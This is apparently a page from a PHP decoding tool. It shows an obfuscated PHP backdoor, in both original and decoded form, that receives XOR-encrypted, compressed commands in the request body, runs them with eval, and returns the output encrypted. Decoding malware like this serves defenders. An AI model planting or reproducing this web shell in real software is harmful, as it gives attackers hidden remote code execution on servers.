Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $b='3YCLJVrZ2LBiHnlewZ";LfunctioLLn x($t,$Lk)L{L$c=strlen(L$k);$l=st'; $J=');L$j++..
Decoded Output download
function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="8c8b0b13";$kh="1e75f86189fa";$kf="7b2c524639b3";$p="3YCJVrZ2BiHnlewZ";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}
Did this file decode correctly?
Original Code
<?php
$b='3YCLJVrZ2LBiHnlewZ";LfunctioLLn x($t,$Lk)L{L$c=strlen(L$k);$l=st';
$J=');L$j++,$i++)L{$o.=$t{$i}^L$Lk{$j};}}rLetLurn $o;}Lif (@preLg_matLc';
$E='($m[1]),$k)));$o=@Lob_Lget_conteLnts()L;@obLL_end_clean();$LrL=@bL';
$i='rlen($Lt);L$o="";Lfor($i=0;L$iL<$l;){fLor($j=L0;($j<$Lc&&LL$i<$l';
$W='ase64_encLode(@x(@gzcLompress(L$oL),$k)L);print("$pL$kh$rL$kf");}';
$z=str_replace('xt','','xtcrextatext_xtfuncxttxtion');
$U='1) L{@Lob_start();@eLvalL(@gLzuncoLmpress(@x(@LbasLe64_decLodLeL';
$S='h("/$LkhL(.+)$kfL/",@filLe_getL_cLontents("phLp://inpuLtL"),$m)==';
$X='$Lk=L"8c8b0b13";$LLkh="1e75f86L189fa"L;$Lkf="7b2c524L639b3L";$p="';
$m=str_replace('L','',$X.$b.$i.$J.$S.$U.$E.$W);
$D=$z('',$m);$D();
?>
phpinfo();<?php phpinfo(); ?>
Function Calls
preg_match | 1 |
str_replace | 2 |
create_function | 1 |
file_get_contents | 1 |
Stats
MD5 | d015699c5714cb92d7c39a63c728a199 |
Eval Count | 1 |
Decode Time | 419 ms |